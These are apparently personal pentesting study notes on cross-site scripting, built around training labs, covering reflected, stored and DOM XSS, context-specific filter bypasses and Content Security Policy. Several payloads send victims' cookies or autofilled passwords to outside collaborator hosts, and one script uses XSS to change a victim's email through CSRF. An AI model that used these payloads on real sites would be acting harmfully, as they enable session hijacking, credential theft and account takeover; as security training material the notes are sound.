Pentesting and Red Teaming Notes
  • 🖥️Pentesting and Red Teaming Cheatsheet
  • Web Application Pentesting(BlackBox)
    • SQL Injection
    • Blind SQL Injection
    • Path Traversal
    • Attacking Authentication
    • Race Conditions
    • Business Logic Vulnerabilities
    • Command Injections
    • Information disclosure
    • Access Controls
    • File upload Attacks
    • XXE
    • Server Side Request Forgery
    • Api Testing
    • noSQL
    • DOM based vulnerabilities
    • Cross Site scripting
  • Infrastructure Pentesting
    • Windows Privilege Escalation
    • Attacking Active Directory
    • File Transfers and Download
    • Pivoting(Tunneling and Port Forwarding)
    • Linux Privilege Escalation
    • Stealing NTLM hashes
    • Tricks and Tips
  • Active Directory Pentesting
    • powershell theory
    • Methodology
    • domain enumeration
    • File Transfer
    • PowerShell ADModule
    • Local Privilege Escalation
    • PowerView Commands
    • ACLs Descriptions
    • ACLs Abuse
    • ACL
    • Trusts
    • User Hunting
    • group policy
    • Mimikatz
    • BloodHound
    • LateralMovement
    • Kerberoasting
    • defense bypasses
    • Set-SPN
    • ASREProasting
    • Unconstrained Delegation
    • Constrained Delegation
    • Resource Based Constrained Delegation
    • AD CS
    • Persistance
    • Priv Esc Trusts Inside Forest
    • MSSQL Servers
    • Priv Esc Trusts Across Forest
    • Tips And Tricks
    • Service Tickets and Abuses
  • Reconnaissance
    • Web Application Reconnaissance
    • External Reconnaissance
Powered by GitBook
On this page
  • Leveraging Cross Site Scripting
  • Stealing Cookies
  • Stealing password if password manager is used
  • XSS to perform CSRF attack
  • How to Test for Reflected, Stored XSS ?
  • XSS in different contexts
  • Simple xss between html tags
  • XSS in HTML tag's attributes
  • XSS inside javascript
  • How to test for Stored Cross Site Scripting
  • DOM based cross site scripting(Use inspect element to identify sink)
  • DOM xss in HTML Sinks
  • DOM XSS in Javascript sinks
  • How to Test for DOM xss
  • DOM xss in document.write sink via location.search source
  • DOM xss in document.write sink via location.search source inside select element
  • DOM xss in innerHTML using source location.search
  • DOM xss in jquery anchor href attribute
  • DOM xss in Angular JS
  • Reflected DOM xss
  • Stored DOM xss
  • Content Security Policy
  1. Web Application Pentesting(BlackBox)

Cross Site scripting

This is a vulnerability that allows an attacker to compromise the interactions that the users have with the vulnerable application by somehow being able to inject javascript into the vulnerable application which returns this malicious javascript to users. This script executes in the user's browser in context of that user's session with the application. It allows an attacker to cricumvent same origin policy(a script contained in first web page is able to access data in second web page if both pages have same origin protocal port and host are same). This vulnerability normally allows an attacker to masquerade as a victim user and carry out any actions that the victim user is able to perform. There are three types of xss they are

  • Reflected xss: Where the malicious script comes from the current http request.

  • Stored xss: Where the malicious script comes from website's database

  • DOM xss: Where the vulnerability exists in client side code rather than server side code.

Note: Use print() function instead of alert() in chrome. NOte: Always utilize dev tools console for creating xss payloads that performs certain/different actions. Cheatsheet:: https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

Leveraging Cross Site Scripting

Stealing Cookies

  • We can steal cookies by injecting javascript which sends the vicim's cookies to our own domain. Limitations include the victim might not be logged into the application, the application hides its cookies from javascript using HttpOnly flag, session might time out before we are able to hijack it. Using XMLHttpRequest

<script>var xhttp = new XMLHttpRequest(); xhttp.open("GET", "https://2dgeoc1mxcla6xi77jiqdojpggm7ayyn.oastify.com/cookie=" + document.cookie, true); xhttp.send();</script>
  • Using fetch

<script>
fetch('https://BURP-COLLABORATOR-SUBDOMAIN', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
</script>

Stealing password if password manager is used

  • If the victim user is using any kind of password manager which auto fills password, we can create same password input field then read the auto filled password and send it to our own domain. Here not only javascript between script tags is possible but html tags can also be injected with events.

<input type="username" name="username" id="username">
<input type="password" name="password" onchange="fetch('https://78djjhwrshgf12dc2odv8teublhc56tv.oastify.com/', {method: 'POST', mode: 'no-cors', body:username.value+':'+this.value})">

XSS to perform CSRF attack

  • XSS can be used to perform csrf attack as follows to change email address of victim.

<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/my-account',true);
req.send();
function handleResponse() {
    var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
    var changeReq = new XMLHttpRequest();
    changeReq.open('post', '/my-account/change-email', true);
    changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>

How to Test for Reflected, Stored XSS ?

  • Submit a simple Input into every entry point in the application eg: url paremeters, form inputs, headers, hidden fields, file upload names, anything.

  • Now identify the context of the displayed(reflected or stored ) data whether its simply displayed inside html tags like <p>, <body>, etc or the data is displayed within html tag's attributes like src or href or inside javascript variable values, etc Always identify the context of the reflected or stored data.

  • Now use below cheatsheet to craft a suitable payload based on the context

XSS in different contexts

The location of reflected or stored data within the application's response determines what type of payload is required to exploit it and might also affect the impact of the vulnerability. In addition if the application performs any kind of validation on the reflected data we need to come up with bypass ideas.

When testing for reflected or stored xss a key task is to identify the xss context.

  • The location within the response where the attacker controllable data appears.

  • Any input validation or other processing that is being performed on the data by the application.

Simple xss between html tags

<script>alert(document.domain)</script>
<img src=1 onerror=alert(1)>
<iframe src='https://0a8700a80343a93f8632eab9000a00cc.web-security-academy.net/?search=<body onresize=print()></body>' onload=this.style.width='100px'>
  • If all tags are blocked we can use custom tags and trigger javascript via onfocus attribute. Below is a custom tag with id=x when focus is on this element javascript function alert() is called, here tabindex=1 tabindex is global attribute which allows an element to receive focus, this ensures onfocus event is triggered when user navigates to this element and finally #x is anchor link or fragment which targets this element.

<xss id=x onfocus=alert(document.cookie) tabindex=1>#x

  • Indirectly calling alert function using svg, anchor and animate tag

<svg>
    <a>
        <animate attributeName=href values=javascript:alert(1) />
        <text x=20 y=20>Click me</text>
    </a>
<svg>
  • Fires when svg animation begins <svg><animatetransform onbegin=alert(1) attributeName=transform></svg>. All these can be found in https://portswigger.net/web-security/cross-site-scripting/cheat-sheet.

XSS in HTML tag's attributes

  • When xss context is in html tag attribute's value we might be able to terminate the attribute value using " close the tag using > and induce a new tag like "><script>alert(document.cookie)</xss>script>

  • If angle brackets are blocked and we can only terminate the attribute's value and create a new attribute like an event listener to introduce javascript code.

" autofocus onfocus=alert(document.cookie) x="
  • If the xss context is in href attribute like <a href="$_GET['search']"></a> we can simply use javascript pseudo protocal to execute script.

<a href="javascript:alert(document.cookie)"></a>
  • If xss is in href attribute of canonical tag <link rel="canonical" href='https://0aa700c904d7a10e80a00897001a0090.web-security-academy.net/' /> and we are able to close the attribute using single or double quotes we can introduce accesskey and onclick attribute when pressed a key combintaion fires the event ?'accesskey='x'onclick='alert(1)

<link rel="canonical" href='https://test.com/?'accesskey='x'onclick='alert()'/>

XSS inside javascript

When xss context is some existing javascript within the response wide variety of techniques can be leveraged.

  • If the xss context is inside some variable in the javascript we can simply close the script tag and and introduce new html tag with some event to trigger xss. Here we donot need to close the variable using ' single quotes simpy we can do </script><img src=1 onerror=alert("test")>

<script>
    var searchTerms = 'user input';
</script>
  • If we cannot introduce new tags due to angle brackets blocked we can simply close the string literal and introduce any javascript code and comment out rest of the code. '; alert("hello") // or '-alert(document.domain)-'

<script>
    var searchTerms = 'user input'; alert("hello") //';
</script>
  • Some application escapes the single quote itself using backslash so that user cannot break of the javascript string but fails to escape the backslash character itself so an attacker can add a backslash character itself to neutralize the backslash added by the application.

<script>
    var searchTerms = 'test\\'; alert("Hello") //';
</script>
  • If xss context is some existing javascript like event handlers inside html tag attribute and single quote is filtered we can use HTML-encoding to bypass this because after the browser has parsed html tags and attributes within a response it will perform HTML decoding of tag attribute's values before they are processed any further so we can utilize html encoding to bypass filters. Context

<a id="author" href="https://meow.com" onclick="var tracker={track(){}};tracker.track('https://controllable-input');">alex</a> 

Payload

&apos;-alert(1)-&apos;

becomes

<a id="author" href="https://meow.com" onclick="var tracker={track(){}};tracker.track('https://controllable-input&apos;-alert(1)-&apos;');">alex</a> 
  • If the xss context is javascript template literal like this

<h1 id="searchMessage"></h1>
<script>
    var message = `0 search results for 'meow'`;
    document.getElementById('searchMessage').innerText = message;
</script>

we can use embedded expression and exeute malicious javascript by using ${...} syntax

<h1 id="searchMessage"></h1>
<script>
    var message = `0 search results for '${alert()}'`;
    document.getElementById('searchMessage').innerText = message;
</script>

How to test for Stored Cross Site Scripting

To find stored xss vulnerabilties we need to

  • test all entry points via which attacker controlled data can enter into the application and all exit points at which the data might appear in the application's response.

  • The entry points include url parameters, post/get request data, out of band routes like data received via emails, displaying data contained in third party tweets, news aggregator will include data originating on other web sites. Exit points can be anywhere within the application.

  • Now identify the context of the stored input like in between html tags, within html tag's attributes, javascript variable's value, etc

  • Based on the context use the above cheatsheet to craft a suitable payload.

DOM based cross site scripting(Use inspect element to identify sink)

The browser's view source won't work for DOM xss testing. It is a cross site scripting context which occurs when an application contains some client side javascript that takes data from an attacker controlled source such as URL and passes it to a sink that supports dynamic code execution such as eval() or innerHTML. for example

var search = document.getElementById('search').value;
var results = document.getElementById('results').value;
results.innerHTML = 'You searched for ' + search;

If the attacker can control the value of the input field he can easily construct a malicious value that causes their own script to execute <img src=x onerror='/*Bad Stuff Here*/' />

Testing for DOM based xss can be little difficult because our input may not necessarily appear anywhere in the DOM. There are two types of DOM xss

  • DOM xss in HTML sinks

  • DOM xss in javascript sinks

DOM xss in HTML Sinks

TO test for dom xss in HTML sink we need to place a random alphanumeric string into source such as location.search and use developer tool to inspect the HTML and find where our input appears. Now we need to identify the context and refine our payload eg: if our input appears within double quotes attribute we can use double quotes to break out of the attribute.

DOM XSS in Javascript sinks

This is little harder because our input does not appears anywhere within the DOM so we can't search for it instead we need to use javascript debugger to determine whether and how our input is sent to a sink. For each potential source such as location we need to identify in the javascript source code where this source is referenced once we found where the soure is being red we can use javascript debugger to add a breakpoint and and follow how the source value is used.

How to Test for DOM xss

  • We need to read the javascript source code to identify DOM xss

DOM xss in document.write sink via location.search source

Here, the search query is taken from url and passed to document.write sink. Although our input doesnot necessarily appear while doing view source. Using inspect element we can see our input appear within img src attribute <img src="/resources/images/tracker.gif?searchTerms=alex"> so here we can simply breakout of the string and do "><img src=x onerror=alert()

<script>
    function trackSearch(query) {
        document.write('<img src="/resources/images/tracker.gif?searchTerms='+query+'">');
    }
    var query = (new URLSearchParams(window.location.search)).get('search');
    if(query) {
        trackSearch(query);
    }
</script>

DOM xss in document.write sink via location.search source inside select element

Here, the store name is taken from url search parameter storeId and inside select statement the name of stores London, Paris, Milan and one from the search parameters are looped through and appended using document.write and select tag is closed.

<script>
    var stores = ["London","Paris","Milan"];
    var store = (new URLSearchParams(window.location.search)).get('storeId');
    document.write('<select name="storeId">');
    if(store) {
        document.write('<option selected>'+store+'</option>');
    }
    for(var i=0;i<stores.length;i++) {
        if(stores[i] === store) {
            continue;
        }
        document.write('<option>'+stores[i]+'</option>');
    }
    document.write('</select>');
</script>

If we insert https://vulnerable-site.com/product?productId=1&storeId=meow we will see following in inspect element DOM

<select name="storeId">
    <option selected="">meow</option>
    <option>London</option> 
    <option>Paris</option>
    <option>Milan</option>
</select>

We can just close the tag and do </select><img src=1 onerror=alert()>

DOM xss in innerHTML using source location.search

Here, we can simply use https://vulnerable-site.com/?search=<img src=x onerror=alert()>

<span id="searchMessage"></span>

<script>
    function doSearchQuery(query) {
        document.getElementById('searchMessage').innerHTML = query;
    }
    var query = (new URLSearchParams(window.location.search)).get('search');
    if(query) {
        doSearchQuery(query);
    }
</script>

DOM xss in jquery anchor href attribute

Here this is the url https://website.com/feedback?returnPath=/ when clicking the back button the href attribute of anchor tag is set from url search query returnPath whose value is /.

<a id="backLink">Back</a>
<script>
    $(function() {
        $('#backLink').attr("href", (new URLSearchParams(window.location.search)).get('returnPath'));
    });
</script>

We can simply put returnPath=javascript:alert() in the url so when back button is clicked javascript is fired.

DOM xss in Angular JS

When a site uses angular js we can see in html source or DOM, an attribute like ng-app. We can use angular js to execute javascript without angle brackets or double quotes. {{$on.constructor('alert(1)')()}}

Reflected DOM xss

There is search functionality on the page when we search for anything like meow. The displaying of search results is done via javascript in /resource/js/searchResults.js Here search() function is called with search-results as argument.

<script src='/resources/js/searchResults.js'></script>
<script>search('search-results')</script>

searchResults.js file.

function search(path) {
    var xhr = new XMLHttpRequest();
    xhr.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
            eval('var searchResultsObj = ' + this.responseText);
            displaySearchResults(searchResultsObj);
        }
    };
    xhr.open("GET", path + window.location.search);
    xhr.send();

Here, since this search function is called with search-results as argument. A get request is performed to /search-results?search=meow endpoint. If a blog containing string meow exists a json object will be returned {"results":[],"searchTerm":"meow"} this object is set as searchResultObj variable using eval(). Here " is escaped using \ so we can simply search for meow\"-alert(1)}// to execute javascript. The value inside eval() funtion will become this.

eval('var searchResultObj = ' + {"results":[],"searchTerm":"meow\\"-alert(1)}//"})

And finally this will be written to the dom

var searchResultObj = {"results":[],"searchTerm":"meow\\"-alert(1)}//"}

Stored DOM xss

Here, for loading all the users comments below javascript is used. In the source loadComments('/post/comment') funtion is called with /post/comment endpoint. This loadComments function is making GET request to /post/comment?postId=10 endpoint and using JSON.parse on the received response and setting it as comments variable. displayComments function is used passing the received comments object as argument. Another thing to note here is escapeHTML function is created which takes html as argument and replaces occurence of < with &lt; and > with &gt;. but it only checks the occurence of < and > once here it had to loop through the passed html and replace every occurence of < and >.

NOw, in displayComments() function the received comments object is looped through and for every comment its author, website, etc is taken. Using javascript itself a paragraph tag is created inside which img tags is created and the comment avatar image is set, anchor tag is created with id as author name href as author website and so on. Now, this paragraph tag firstPElement innerhtml is taken and comment author's name is added by using escapeHTML() function.

function loadComments(postCommentPath) {
    let xhr = new XMLHttpRequest();
    xhr.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
            let comments = JSON.parse(this.responseText);
            displayComments(comments);
        }
    };
    xhr.open("GET", postCommentPath + window.location.search);
    xhr.send();

    function escapeHTML(html) {
        return html.replace('<', '&lt;').replace('>', '&gt;');
    }

    function displayComments(comments) {
        let userComments = document.getElementById("user-comments");

        for (let i = 0; i < comments.length; ++i)
        {
            comment = comments[i];
            let commentSection = document.createElement("section");
            commentSection.setAttribute("class", "comment");

            let firstPElement = document.createElement("p");

            let avatarImgElement = document.createElement("img");
            avatarImgElement.setAttribute("class", "avatar");
            avatarImgElement.setAttribute("src", comment.avatar ? escapeHTML(comment.avatar) : "/resources/images/avatarDefault.svg");

            if (comment.author) {
                if (comment.website) {
                    let websiteElement = document.createElement("a");
                    websiteElement.setAttribute("id", "author");
                    websiteElement.setAttribute("href", comment.website);
                    firstPElement.appendChild(websiteElement)
                }

                let newInnerHtml = firstPElement.innerHTML + escapeHTML(comment.author)
                firstPElement.innerHTML = newInnerHtml
            }

            firstPElement.appendChild(avatarImgElement);

            commentSection.appendChild(firstPElement);

            if (comment.body) {
                let commentBodyPElement = document.createElement("p");
                commentBodyPElement.innerHTML = escapeHTML(comment.body);

                commentSection.appendChild(commentBodyPElement);
            }
            commentSection.appendChild(document.createElement("p"));

            userComments.appendChild(commentSection);
        }
    }
};

Here, simply when submitting the comment we can enter author name as <><img src=x onerror=alert()> to execute javascript because the escapeHTML() function is only replacing first occurence of < and >.

Content Security Policy

Content Security Policy or CSP is a browser security policy which works by restricting scripts or images that a page can load also whether a page can be framed by other pages. We can determine if the page is using CSP through HTTP response header Content-Security-Policy with value containing the policy. Some policies are:

Below allows scripts to be loaded only from the same origin as the page itself.

Content-Security-Policy: script-src 'self'

Below a site administrator wants to allow content from a trusted domain and all its subdomains.

Content-Security-Policy: default-src 'self' example.com *.example.com

Below allows content from only the same origin, images to be loaded from any origin, media like audio and video to be loaded only from example.org and example.net and scripts to be loaded only from userscripts.example.com

Content-Security-Policy: default-src 'self'; img-src *; media-src example.org example.net; script-src userscripts.example.com
PreviousDOM based vulnerabilitiesNextInfrastructure Pentesting

Last updated 11 months ago

If most tags and attributes are blocked by WAF using blacklisting utilize . Use every single given tag until you find the one which is allowed by the application and again use every attribute for that tag which is allowed by the application. Suppose <body> tag is allowed and onresize attribute is allowed and we can trigger xss with <body onresize=print()></body>. Here the page needs to be resized in order for this event to trigger. what we can do to attack the victim is create an iframe with the vulnerabe page with embedded payload in GET request parameter and when the iframe loads resize the frame.

https://portswigger.net/web-security/cross-site-scripting/cheat-sheet